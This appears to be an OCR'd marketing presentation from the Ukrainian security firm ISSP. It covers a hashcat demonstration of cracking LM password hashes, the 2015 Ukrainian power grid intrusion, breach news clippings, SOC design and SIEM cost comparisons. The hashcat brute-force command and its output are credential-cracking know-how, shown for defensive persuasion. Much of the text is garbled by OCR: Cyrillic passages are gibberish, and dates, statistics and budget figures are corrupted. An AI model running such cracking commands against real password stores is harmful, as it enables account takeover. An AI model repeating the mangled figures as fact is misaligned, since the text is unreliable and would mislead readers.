58 6E 65 74 2E 64 6C 6C BB F5 73 65 72 33 32 2E 6% net.dll.user32.d 65 72 33 32 ?E 64 nef.dll.user3?.d
60 6C 6C B0 80 77 73 32 SF 33 32 2E 64 6C 6C 00 80 11._aws2 _32.d11.% OF 64 6C 6C 00 88 11.ius? 92.d11.4
70 6F 6C 6% 33 32 2E 64 6C 6C @0 C6 E1 70 73 61 70 01932.d11.=cpsap Cé6 F1 78 73 61 78 ﬂlEﬂz.dil-'GPSBp
80 69 2E 64 6C 6C 00 00 0O 00 00 68 60 68 D4 C6 E1 i.dll..... h..Ljc 68 00 08 D4 C6 E1 i.dll..... hoLte
90 FF 12 00 6E 96 40 00 02 00 00 00 5F C8 81 3D a-..nU@..... _LE= 80 00 5F C8 81 3D =-..nI@..... LE=
no FO@ FF 12 08 1B 9B 4B 00 32 00 00 00 SE 60 66 60 E-...H@.2...n... 80 00 6E B8 08 80 F-.. FE.2...m...
BEG 61 68 88 86 64 78 81 7C FE FF FF FF 69 60 66 88 ...__dpE|!} FE FF 69 89 80 88
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Windows 2003 server end of life 13 June 2010 ;

D:\LM_HASH_BF\cudaHashcat-2.81>cudaHashcat64.exe —m 3880 -a 3 -o 1_result.hash 1_1m_test.hash ?1271?7121?1?717?1 -1 ?u?d
cudaHashcat v2.81 starting...

Device #1: GeForce GTX 758, 2848MB. 1137Mhz. 4MCU

Hashes: 2 hashes; 2 unique digests. 1 unique salts

: 16 hits, 65536 entries, OxB000Bffff mask. 262144 bytes,. 5/13 rotates

Applicable Optimizers:
Zero—Byte
* Precompute—Final-Permutation
< Not—Iterated
¢ Single—-Salt
< Brute—Force
< Scalar—Mode
Wlatchdog: Temperature abort trigger set to 98c
Wlatchdog: Temperature retain trigger set to 88c
Device #1: Kernel ./kernels/4318/mB380@_a3.sm_58.64.cubin
Device H1: Kernel ./kernels/4318/markov_le_vl.sm_58.64.cubin

Session.Name...: cudaHashcat
....... Cracked
Input .Mode. . Mask (2121°24°24282121> [21
Hash.Target. 51acd8d3923f7c21, 29355hcBd45c341b
Ln

Hash.Type....
Mon Apr 11 15:54:21 2016 (30 secs)
2488.7 MH/s
2,2 (1AA _ARZ) Digests, 1/1 (108.88x)> Salts
69199724544./72264164096 (88.31x)
Vw/b¥19¥724544 <0.00%)
: 1474568/1679616 (87.79x)>
Bz Util, 42c Temp,. 1187rpm Fan

Started: Mon Apr 11 15:54:21 2416
Stopped: Mon Apr 11 15:54:52 2816

316 y4€THbIX 3anmcen

copeprkanu LM-hash

NX B3/1IOM 3aHAN
2 yaca 38 MUHyT !

Stored data

SAMAccountName

ountControl field

Date and time of last login

Encrypted LM hash

T hash

Encrypted NT hash history

ATTK590689

B3s10m napons cocToALwmm
u3 14 cnmBoONOB,

npun Hannumm LM-xelwua,
3aHAn Bcero 40 cekyHa!

Macka f

Cnosapu
[orpanmuenne 4 wr)



ISSP

MUDDbI:
Kakoe e pewieHue?

SANDBOX - FIREWALL

Lpyrue cpeacrea




(%]
2
(O]
o
=
3]
o
)
=
=
3
(8]
Q
n
(%]
=
[}
Q
[
>
»
c
S
=
5]
£
S
(@]
o
c

B 101100

1000
111110 -
Exploration | Capture the highest platform




W s’auned Aundas swelsAS uonewlou|

ISSP

=
1)
[
i
Lo d
<
m
w
&
o
a
O

-~
<




[l Sisuled >H_L:oww SWwalsAS uoneuw.oju]

Toolset example

ISSP




Initial malware delivery attempt

23.04.2015]

By continuously collecting and analyzing evidence we reconstructed attack timeline and traced it back to April 2015

Data was destroyed by KILLDISK

-

24.10.2015 Day of the attack start
and beginning of the investigation

6 month from intrusion to blackout
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Hackers Spend

200+ Days Inside
Before Discovery
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The result of iInternal recon
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Attackers Know more
about us than ever..



A ™D

The lines between Insiders
and Outsiders are blurred.

Everyoneis an Insider...



™

Isolated security
simply don t work |



HOME US. ~ NEWS MARKETS INVESTING TECH MAKEIT VIDEO SHOWS MORE
BREAKING: After-hours buzz: MSFT, ALKS, PYPL and more

EUROPE NEWS
u

Bangladesh central bank says
U.S. account hacked; Fed
denies breach

Monday, 7 Mar 2016 | 7:08 PM ET

REUTERS

THE WALL STREET JOURNAL

Health-Care C10s, Facing Ransomware Threat, Share Security
Best Practices

By RACHAELKING @0 commeNTs

s8pmE

CONTENT FROM OURSPONSOR

Deloitte.

€10 nsights and Analyss from Delotte

Protecting Critical Assets From
Cybertheft

Intelsctua property (P)can comprise more
than 80 percent f a company'svalue.
Priortizing protecton of these assetsfrom
cybertheft can help prevent extensive
potential losses, The addition of
cyberprotectons t overy stagen the P e
cyclis essential, as i the nclusion of P
eybor ik nthe company's overalenterpise
risk management lans.

Exclusive: SWIFT discloses more cyber thefts,
pressures banks on security
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Hackers selling 117 million LinkedIn
passwords
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care that he's lying
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sident

investar?

THE WALL STREET JOURNAL.

Home World US. Politics Economy Business Tech Markets Opinion Arts Life RealEstate

OPM Ratchets Up Estimate of Hack’s Scope

More than 21 million vulnerable in breach; China cited as suspect

Detect &
Respond Faster

OPINION

RUSSIAN HACKERS SHUT DOWN
UKRAINE’S POWER GRID

Russian ha :

arget facilities to furth

BY RILEY WALTERS ON 1/14/16 AT 5:52 PM
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HOBHHH 20TO BIAEO JOKYMEHTH TMPESHAEHT AZIMIHICTPALIA

Tipomosn Birarns Aisicrpania [IpesnzesTa ipysmsa Tpesnpenta

Tonossa - Hoemmm ~ Ocramsi Hosmmm

[Tpesunent 3aTBepauB Crparerito
kibepbesnexu Ykpainu

16 Bepesss 2016 - 09:28

I\.BEPXOBHA PAJIA e
Wt 3 [ = [ e——

it Be-nopran

-~

fonossa  3axosoreopiicr.  3aovopasceo  Owwiewmmnaw  Mboiaponia pinnescrs  Ibopuain

> Kapma savosonpoaTy >

b PO ocKoRHI acann Yipainn

Houep, gara peccrpal 21268 812 19.06.2015

Cocin peccrpau: i Vil carvcassn

Binioteno 40 nopaaKy AeHNOTo: & 092015

Pegaxyin sakononpoexTy: Ocose

[ p— Beanecal oBopowa

CyBexT npam sakononamol iiaTu: Hapozsi geny

Fonosuui xowrer: aisenco O.. Kowirer a raws MpopuaTAaLT T ssary
o rowireTH: MlawHcsi CB. Ke

5 e HauloAaTsHO! Gesnen | 0G0pOH
Koxewmik A A KowTer 3 niTais 3aKon0zaBs0

m JUSTICE

g a European Area of J

Everyone has the right to the protection of personal data.

Under EU law. personal data can only be gathered legally under strict conditions. for a legitimate purpose
Furthermare, persons or organisations which collect and manage your personal infarmation must pratect it from
misuse and must respect certain rights of the data owners which arc guaranteed by EU law

Every day within the EU. businesses. public authorities and individuals transfer vast amounts of personal data
across borders. Conflicting data protection rules in difierent countries would disrupt international exchanges.

Individuals might also be unwiling to transfer personal data abroad if they were uncertain about the level of
protection In other countries.

Therefore, common EU rules have been established to ensure that your personal data enjoys a high standard of
protection everywhere in the EU. You have the right to complain and abtain redress if your data is misused
anywner I the £U.

The EU's Data Protection Directive also forcs:

pecific rulcs for the transfer of personal data outside the EU
Lo ensure lhe best possible prolection of your dala when il is exporled abioad

Increased
Regulation
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SOC - security operation center




Logs collection Event Management Context Correlation SOC Services
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Security
Operations
Center

Processes

Technologies
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EC-Council Certified Incident Handler
EC-Council Certified Security Analyst

EC-Council Computer Hacking Forensic Investigator
EC-Council Certified Network Defender #
SANS 511.1 Security Operations Centers, and Security Architecture Practice &

Certified Information Systems Security Professional (CISSP) Experience
ISO27001 Implementer, Lead Auditor

Formal
Training

HPE® ArcSight ESM Security Administrator and Analyst
Cisco ® CCNA, CCNP Security, Cybersecurity Specialist
Advanced Vulnerability Management (AVM)

MS Installing and Configuring Windows Server 2012
MS Administering Windows Server 2012

Essentials of Linux System Administration

Linux Foundation Certified Engineer

Professional Vendor

Data Science at Scale using Spark and Hadoop Trainings Training
Python, R, Java b

Cluster Analysis in Data Mining
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Active Involvement
In Global Cybersecurity Community

Global CERT initiative: ISSP is a member of FIRST (a global Forum of Incident Response and
Security Teams), registration will complete by DEC 2017.

Global Forensics initiative: ISSP is a Founding member of CIF (Cybercrime Investigation
Forum) — an International NGO with HQ in Tokyo

Global Research initiative: Cooperation with Cybersecurity Research Organizations and
Universities (TALOS, MIT, Dartmouth, SANS Institute, Honeywell SOC...)

DARTMOUTH

B About ISSP

Information Systems Security Partners
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LAB FOR CYBERWAR '\

Global Visibility

| | | | | | | | | [ | SHARE

HOW AN ENTIRE NATION BECAME RUSSINS TE e °J£z:f:3‘%‘.‘::.¥£E‘“‘-"°}: ‘ -

The cl

ISSP has been featured by: e T
g % REUTERS

Wired, BBC, WSJ, Reuters, Channel Asia, 10Ch Israel, Liberation, €&tc.

Confirmed speaking (Sep-Dec 2017)

Warsaw, Dublin, Prague, Stockholm, Marrakesh, Almaty, London, Kyiv, Tokyo, Boston '\"

aECURITHY! CNBC

CHSE 201/ BEE 0:r  ten s v s o e
STUuoy

ch Science Magazine Entertainment & Arts Health World News TV More ~

Technology

Ukraine power cut ‘'was cyber-attack’ Top Stories
O 14 017 Tec f v © [ < share UN: Suu Kyi has 'last chance’ on
Rohingya

Second man held over Tube
bombing

DataSOlUtIOI’IS D A : : - " g Russia denies bombing Syria

Secur =

B About ISSP

Computing Forum

Information Systems Security Partners
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¥ enisa
* European Network
* % and ln)E:)rmation

* < Security Agency

NIST

National Institute of
Standards and Technology
U.S. Department of Commerce

ezl | International

Iso Organization for

NI Standardization

Lessons . i

Learned
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Technological Processes

Change Management

System Administration

Data Acquisition & Data Correlation & Data Storing

Data Delivery and Data Visualization
Operational Processes

Incident Handling

Daily Operations

Incident Management

Case Management

Incident Forensic and Reporting
Analytical Processes

Analysis : Operational / Incident / Context

Hidden Incident Detection

Organizational Relations

Knowledge and Context (TI, TA, OSINT)
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[ System Logs

Network Flow

Network Traffic

Endpoint Detail
Hewlett Packard ndpoint Detalls
Enterprise

Security Events
IIr
CISCO Asset Context

Technology:

Identity Context

" Microsoft

Infrastructure Vulnerabilities Context

cloudera Communications

Historical Context

SIEM: RTT Analysis

DWH: Data Analytics Threat Intelligence

Data Visualization
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HR:

2 shifts
4 FTE

Operators

Administrators
Analytics

12 FTE

Operations:

10x6

(region Ukraine)

SOC Team (online)
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services profil
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anomalies detect

Internal context

ISSP

Hours

tecaccount (0| 1|2 |3 |4|5|6|7|8|9|10(11|12(13|14|15|16(17|18|19|20|21|22|23

01.09.2016

02.09.2016

03.09.2016

04.09.2016

05.09.2016

06.09.2016

07.09.2016

08.09.2016

09.09.2016

10.09.2016

11.09.2016
12.09.2016
13.09.2016
14.09.2016

15.09.2016
16.09.2016

17.09.2016
18.09.2016

19.09.2016
20.09.2016

21.09.2016
22.09.2016

23.09.2016

24.09.2016

25.09.2016

26.09.2016

27.09.2016

28.09.2016

29.09.2016

30.09.2016

Hours

01.09.2016| 4 |4 |4 |4 |4 |4|4|4|4|4|4|4|4|4|4|4]|4|4|4|4]|4)/4]|4)|4

tec_account [0 | 1|2 |3|4|5|6|7|8|9|10(11|12|13|14|15/16/17|18|19|20|21|22|23

02.092016| 4 |4 |4 |4 |4 |4 |4 |4|4|4|4|4|4|4|4|4|4|4|4|4|4)/4|4)|4

03.09.2016| 4 |4 |4 |4 |4 |4 |4 (4|4 (4|44 |4 (4|4 |44 4|4 444|444

04.09.2016( 4 |4 |4 |4 |4 |4 |7 |4|4|4|4|4|4|4]|4|4]|4|4]|4)/4]|4 /4|44

05.09.2016( 4 |4 (4|4 |4|4|4|4|4|4|4|4]4|4]|4|4]|4|4|4/4|4/4|4)|4

06.09.2016( 4 |4 (4|4 |4 |4|4|4|4|4|4|4]4|4]|4|4]|4|4|4]/4|4/4|4)]4

07.092016| 4 |4 |4 |4 |4 |4 |4 |4|4|4|4|4|4|4|4|4]|4|4|4|4|4)/4]|4)|4

08.09.2016| 4 |4 |4 |4 |4 |4 |4 |4|4|4|4|4|4|4|4|4|4|4|4|4|4)/4|4)|4

09.09.2016( 4 |4 |4 |4 |4 |4 |4 (4|4 |4|4|4|4 (4|4 |7 |4 |44 4|4 4|44

10.09.2016| 4 (4|4 |4 |4 |4 |4|4|4|4|4]|4|4|4|4|4]4]4/4|4/4|/4]|4)|4

11.09.2016| 4 (4|8 |4 |4 |4 |8 |4 |4|4|4|4|4|4|4|4]4]4/4|4/4|/4]|4)|4

12.092016| 4 |4 |4 |4 |4 |4 |4 |4 |4 |4 |44 4|4 |44 |44 ]|4|4|4|4|4)|4

13.09.2016| 4 |4 |4 |4 |4 |4 |4 |4 |4 |4 |44 4|4 |44 4|4 |44 |4|4|4)|4

14.09.2016| 4 (4|4 (4|4 |4 |44 |44 (4|4 )4|4]4|4 441444444

15.09.2016| 4 |4 |4 |4 |7 |4 |4|4|4|4|8|4|4|8|4|4|8|4/4|4/4/4|4)|4

16.09.2016| 4 (4|4 |4 |4 |4 |44 |4|4|4]|4|4|4|4|4]4]4/4|4/4/4]|4)|4

17.092016| 4 |4 |4 |4 |4 |4 |44 |4|4|4|4 44|44 |44 |44 |4|4|4)|4

18.09.201b6| 4 |4 |4 |4 |4 |4 |4 |4 |4 |4 |44 |44 |44 |44 4|4 |4|4|4)|4

19.09.2016| 4 (4|4 (4|4 |4 |44 |44 (4|4 4|4 ]4|4]4|4 4|4 |4|4|4]|4

20.09.2016( 4 |4 (4|4 (4|44 ]|4]|4]|4|4|4]4|4]9/4]|4|4|4]4]4]4]|4)]4

21.09.2016( 4 |4 (4|4 (4|4 |4|4|4|4|4|4]4|4]|4|4]4|4|4]/4|4/4|4)|4

220920164 |4 |4 |4 |4 |4 |4 |4|4|4|4|4|4|4|4|4]|4|4|4)/4]|4)/4]|4)|4

23.09.2016| 4 |4 |4 |4 |4 |4 |4 |4|4|4|4|4|4|4|4|4]|4|4|4|4|4)/4|4)|4

24.09.2016( 4 |4 |4 |4 |4 |4 |4 (4|4 |4|4|4|4(4|4|4]|4|4]|44]|4)/ 4|44

25.09.2016( 4 |4 |4 |4 |4 |4 |4 (4|4 (4|44 |4|4|4 444|444 4|44

26.09.2016( 4 |4 (4|4 |4 |4|4|4|4|4|4|4]4|4]|4|4]4|4|4]/4|4/4|4)|4

27.09.2016( 4 |4 (4|4 |4 |4|4|4|4|4|4|4]4|4]|4|4]4|4|4]/4|4/4|4]4

28.09.2016| 4 |4 |4 |4 |4 |4 |4 4|4 |4|4|4|4 4|4 |44 |4|4)4|4)/4]|4)|4

29.09.2016| 4 |4 |4 |4 |4 |4 |4 |4|4|4|4|4|4|4|4|4]|4|4|4|4|4)/4|4)|4

|30.09.2016444444444444444444444444
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Internal context: anomalies detection: network profiling

3/28 10:30:24 Teardown TCP connection JAccessStop [Success
3/25 10:30:24 Built outbound TCP connection fhccess [Success
3/28 10:30:24 Packet permitted by Access List JCommunicate [Success
3258 10:30:23 Teardown local-host Modify/Content [Success
3/28 10:30:23 Teardown TCP connection fAccessfStop [Success
3258 10:30:23 Built outbound TCP connection fhccess [Success
3/28 10:30:23 Packet permitted by Access List JCommunicate [Success
3258 10:30:23 Built local-+iost Modify/Content [Success
3/28 ::51: 76 Teardown TCP connection fAccessStop [Success
3/28 :51:26 Teardown local-host Modify/Content [Success
3/28 9:51:03 Built outbaund TCP connection fhcress [Success
3/28 2:51:03 Built local-+host Modifyfi
3/28 9:51:03 Packet permitted by Access List JCammur O
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Internal context: anomalies detection: services profiling 1/2
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ISSP  peer to peer dynamic profiling
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ISSP Usecase # 4: value for money

> Financial Benefits



ISSP
On-Premises SIEM VS. Managed SIEM

ON-PREMISES APPROACH MANAGED SERVICES APPROACH

pay-back

money

money

investments
break-even

-------------------------- investments :

break-even

time

time



IS

SIEM Budgeting specifications

ArcSight Hybrid (Logeger + SIEM M5S5) On-premise Arcsight ESM 20Gb .

Logeger Engine 525 BOOD 525 B0OO
Correlation Engine 50 5210 D00
Hardware platform 50
1st year Consoles, Flex conn, additional license! 50 57 200
Basic rules correlation, Vendor support 55 219 5459 992
PCl-DSS compliance for Managed ESM, 5Gb/day 522 D00
Logger Local integration and support %8 BOD 525 000
Total: 561 819 5317 992
Managed ESM, 10 Gb/day 522 000
2nd year Vendor support 55 219 5459 992
Total: 527 219 549 992
Managed ESM, 20 Gb/day 522 000
3rd year Vendor support 55 219 5459 992
Total: 527 219 549 992
Managed ESM, 20 Gb/day 522 000
dth year Vendor support 55 219 5459 992
Total: 527 219 549 992
Managed ESM, 20 Gb/day 522 000
Sth year Vendor support 55 219 5459 992
Total: 527 219 549 992

Total 5 years:

ArcSight Hybrid (Logger + SIEM M3S5) On-premise Arcsight ESM 20Gb

5170 695 $517 960
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350000

SO x000

Investments

4x Investment Efficiency (ROI)
5x NPV efficiency

TCO : NPV 10x efficiency
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1S5P Forensic

Indicators of Compromise
Threat propagation map
Attacks attempts
Malicious activity

Anomalies
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IS5P Audit

» Infrastructure technical audit
= Integrity

= Configuration
= Accounting : e
= Protection Network Apps
\_ A\
4 N/
= Compliance audit Processes Data

=  General Frameworks / Policies
» Industry Standards N AN
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B About ISSP

B Expertise - Technologies

NETWORK

PROTECTION

- Security Gateways

- Intrusion Prevention

- Web & Email Filtering

- Management & Monitoring
- Wireless Security

SYSTEM SECURITY

- Complex Security

- Mobile Devices Protection
- Virtual Environment
Security

- Antivirus & Antispyware

- Device, protocol and
application control

APPLICATION

PROTECTION

- Web-Applications Protection
- Databases Security

- Vulnerability Management

- Application Management

DATA PROTECTION

- Data Leakage Prevention
- Encryption & Digital
Signature

- Mobile Data Protection

- Archiving & backup

ACCESS CONTROL

- Multifactorial Authentication
- Remote Access

- Role and account
management

- PKI

SECURITY

MANAGEMENT

- Events & Incidents
Management

- Policies monitoring and
enforcement

- Risk Control & Compliance
- Change Control

B Expertise -Services

MSS & MDR

- Network Security

- Endpoint Security

- Incident Management

- Thread Protection

- Vulnerabilities Management
- Active Response

- Forensic and Research

PROFESSIONAL
SERVICES

- Penetration Testing

- Technical Audit

- Compliance Audit

- Consulting

- Dynamic Application
Analyze

- Source Code Assessment

ENGINEERING SERVICES

- Technologies Integration
- Evaluation and Tech
Consulting

- Technical Support (up to 24x7)

- Extended Warranty and NBD
service

TRAINING SERVICES

- Certified Security Trainings
- Vendor Trainings

- Custom Training Programs
- Cybersecurity Special
Trainings

ADVANCED
SERVICES

- Cybersecurity forensics

- Malware analysis

- Research &
Investigation

Information Systems Security Partners



AUDIT

IOC’s Discovery
Data Audit
Application Security
OSINT

Assume
Compromise

SOC Services

Incident Detection
Incident Response
Remediation

Forensics

Detect &
Respond Faster

Tech Solutions

ATM Security
Counter-FRAUD
SCADA Security

Access and Behavior

Not just IT —
OT, IOT, Physical

Prof services

Compliance as a Service
Compliance Audit

Consulting

Increased
Regulation




ISSP

Competitive Advantages

First mover advantage

Customers from Ukraine,
which in fact became a
testing-ground for
cyberattacks, and the
region connected to ISSP
SOC deliver the most
recent threat intelligence
data continuously
enhancing Database.

Ecosystem for scaling

ISSP's extensive
solutions and services
portfolio producing
synergy effects and
iInternal intelligence.

Maintaining technical
operations in Ukraine
makes possible to acquire
and retain talented
engineers at lower costs.

World-class expertise

ISSP has grew a world-
class expertise in all key
cybersecurity by
delivering a wide range of
cybersecurity services,
including industry-specific,
like counter-fraud and
industrial control systems
security.

Information Systems Security Partners



ISSP

Contactus .........

6 Oleny Telihy St, 04112, Kyiv, Ukraine
“West Side” Business Center

Tel:+38 044 594 80 18
WWW.ISSpgroup.com

B About ISSP

Information Systems Security Partners






